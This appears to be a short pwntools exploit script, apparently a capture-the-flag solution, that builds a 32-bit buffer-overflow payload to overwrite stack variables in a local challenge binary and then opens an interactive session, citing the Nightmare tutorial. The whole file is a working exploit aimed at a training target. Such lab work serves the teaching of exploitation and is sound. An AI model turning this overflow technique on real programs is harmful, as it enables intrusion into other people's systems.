# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = process("./chall-test_auburn20-turkey")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x30)
bof_payload.add_int32(0x20, 0x2a)
bof_payload.add_int32(0x1c, 0x15)
bof_payload.add_int32(0x18, 0x667463)
bof_payload.add_int32(0x14, 0xffffffeb)
bof_payload.add_int32(0x10, 0x1337)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Stephen King                           |
# +------------------------------------------------+
# | Song: The Gunslinger                           |
# +------------------------------------------------+
# | Go now,                                        |
# | there are other                                |
# | worlds than these                              |
# +------------------------------------------------+

